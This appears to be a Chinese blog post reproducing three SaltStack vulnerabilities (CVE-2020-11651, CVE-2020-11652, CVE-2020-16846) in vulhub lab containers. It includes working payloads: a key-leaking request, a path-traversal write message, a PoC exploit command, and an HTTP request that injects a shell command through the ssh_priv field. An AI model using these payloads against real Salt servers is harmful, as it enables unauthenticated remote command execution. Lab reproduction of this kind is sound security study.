0
点赞
收藏
分享

微信扫一扫

vulhub漏洞复现60_SaltStack

Separes 2022-02-12 阅读 82

一、 CVE-2020-11651_SaltStack 水平权限绕过漏洞

前言

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

漏洞详情

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

参考链接:

- https://labs.f-secure.com/advisories/saltstack-authorization-bypass

- https://github.com/rossengeorgiev/salt-security-backports

- https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/tests/integration/master/test_clear_funcs.py

漏洞环境

靶场:192.168.4.10_ubuntu

执行如下命令启动一个SaltStack Master服务:

#docker-compose up -d

环境启动后,将会在本地监听如下端口:

- 4505/4506 这是SaltStack Master与minions通信的端口

- 8000 这是Salt的API端口

- 2222 这是容器内部的SSH服务器监听的端口

漏洞复现

我们可以使用如下请求来执行`salt/master.py`中的`ClearFuncs:_prep_auth_info`方法:

```

{'cmd': '_prep_auth_info'}

```

利用这个方法,可以获得目标的所有用户的key,利用这个key即可通过超级管理员权限执行一些后台功能,比如下发任务等。

使用[这个POC](https://github.com/dozernz/cve-2020-11651),首先获取Key,再在master中执行`touch /tmp/success`:

二、 CVE-2020-11652_ SaltStack 任意文件读写漏洞

前言

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

漏洞详情

在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。

参考链接:

- https://labs.f-secure.com/advisories/saltstack-authorization-bypass

- [https://github.com/rossengeorgiev/salt-security-backports][1]

- [https://github.com/jasperla/CVE-2020-11651-poc][2]

漏洞环境

#docker-compose up -d

环境启动后,将会在本地监听如下端口:

- 4505/4506 这是SaltStack Master与minions通信的端口

- 8000 这是Salt的API端口

- 2222 这是容器内部的SSH服务器监听的端口

漏洞复现

本文档复现CVE-2020-11652漏洞,参考漏洞作者的说明:

> The wheel module contains commands used to read and write files under specific directory paths. The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction.

wheel/file_roots.py文件中的write方法,使用`os.path.isabs`来判断用户输入是否是绝对路径,可能目的是防止写入其他目录,但实际上攻击者可以通过`../`的方式跳转至根目录,进而写入任意文件:

```

msg = {

    'key': root_key,

    'cmd': 'wheel',

    'fun': 'file_roots.write',

    'path': '../../path/to/target',

    'data': 'test'

#    'saltenv': 'base',

  }

```

使用poc

#https://github.com/jasperla/CVE-2020-11651-poc

#python3 exploit.py -m 192.168.4.10 -p 4506 --exec "touch /tmp/success"

` /tmp/success`成功被执行。

 

三、 CVE-2020-16846_SaltStack 命令注入漏洞

漏洞详情

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞,其中CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通过Salt API执行任意命令。

参考链接:

- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag

漏洞环境

执行如下命令启动一个SaltStack Master服务:

#docker-compose up -d

环境启动后,将会在本地监听如下端口:

- 4505/4506 这是SaltStack Master与minions通信的端口

- 8000 这是Salt的API端口,**需要通过https访问**

- 2222 这是容器内部的SSH服务器监听的端口

漏洞复现

向`https://your-ip:8000/run`发送如下数据包:

```

POST /run HTTP/1.1

Host: 192.168.4.10:8000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 87

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

```

 通过`ssh_priv`位置注入命令`touch /tmp/success`,进入容器可见已执行成功:

 

举报

相关推荐

0 条评论